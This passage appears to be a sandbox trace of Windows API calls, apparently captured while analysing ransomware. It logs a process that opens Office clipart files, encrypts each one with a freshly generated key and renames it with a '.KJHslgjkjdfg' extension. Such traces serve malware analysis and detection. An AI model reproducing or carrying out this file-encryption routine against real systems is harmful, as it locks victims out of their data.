ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0208.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.904] GetProcessHeap () returned 0x990000 [0208.904] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.904] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.904] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0208.906] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.906] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.906] GetProcessHeap () returned 0x990000 [0208.906] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.906] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.906] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.906] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.906] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.907] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.907] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.907] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.907] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.907] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.907] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x64c7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x64c7, lpOverlapped=0x0) returned 1 [0208.908] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x64d0, dwBufLen=0x64d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x64d0) returned 1 [0208.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.908] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x64d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x64d0, lpOverlapped=0x0) returned 1 [0208.909] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x65a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.909] SetEndOfFile (hFile=0x130) returned 1 [0208.912] GetProcessHeap () returned 0x990000 [0208.912] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.912] GetProcessHeap () returned 0x990000 [0208.912] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.kjhslgjkjdfg")) returned 1 [0208.913] CloseHandle (hObject=0x130) returned 1 [0208.914] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0208.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.915] GetProcessHeap () returned 0x990000 [0208.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.915] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.915] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.915] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.915] GetProcessHeap () returned 0x990000 [0208.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.915] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.915] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.915] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.917] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.917] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.917] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.918] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.918] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.918] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16f40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16f40, lpOverlapped=0x0) returned 1 [0208.920] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f40, dwBufLen=0x16f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f40) returned 1 [0208.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.921] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16f40, lpOverlapped=0x0) returned 1 [0208.921] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.921] SetEndOfFile (hFile=0x130) returned 1 [0208.922] GetProcessHeap () returned 0x990000 [0208.922] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.922] GetProcessHeap () returned 0x990000 [0208.922] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.kjhslgjkjdfg")) returned 1 [0208.924] CloseHandle (hObject=0x130) returned 1 [0208.924] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0208.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.925] GetProcessHeap () returned 0x990000 [0208.925] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.926] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0208.928] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.928] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.928] GetProcessHeap () returned 0x990000 [0208.928] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.928] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.928] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.928] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.928] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.928] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.929] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.929] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.929] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.929] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.929] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc382, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc382, lpOverlapped=0x0) returned 1 [0208.952] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc390, dwBufLen=0xc390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc390) returned 1 [0208.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.953] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc390, lpOverlapped=0x0) returned 1 [0208.954] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.954] SetEndOfFile (hFile=0x130) returned 1 [0208.957] GetProcessHeap () returned 0x990000 [0208.957] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.957] GetProcessHeap () returned 0x990000 [0208.957] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.kjhslgjkjdfg")) returned 1 [0208.959] CloseHandle (hObject=0x130) returned 1 [0208.959] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0208.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.960] GetProcessHeap () returned 0x990000 [0208.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.960] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.960] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.982] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.982] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.982] GetProcessHeap () returned 0x990000 [0208.982] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.982] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.982] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.982] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.982] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.983] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.983] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.983] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c08, lpOverlapped=0x0) returned 1 [0209.002] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10) returned 1 [0209.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.002] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c10, lpOverlapped=0x0) returned 1 [0209.003] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.003] SetEndOfFile (hFile=0x130) returned 1 [0209.008] GetProcessHeap () returned 0x990000 [0209.008] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.008] GetProcessHeap () returned 0x990000 [0209.008] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.kjhslgjkjdfg")) returned 1 [0209.010] CloseHandle (hObject=0x130) returned 1 [0209.010] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0209.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.014] GetProcessHeap () returned 0x990000 [0209.014] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.014] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.015] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.030] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.030] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.030] GetProcessHeap () returned 0x990000 [0209.030] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 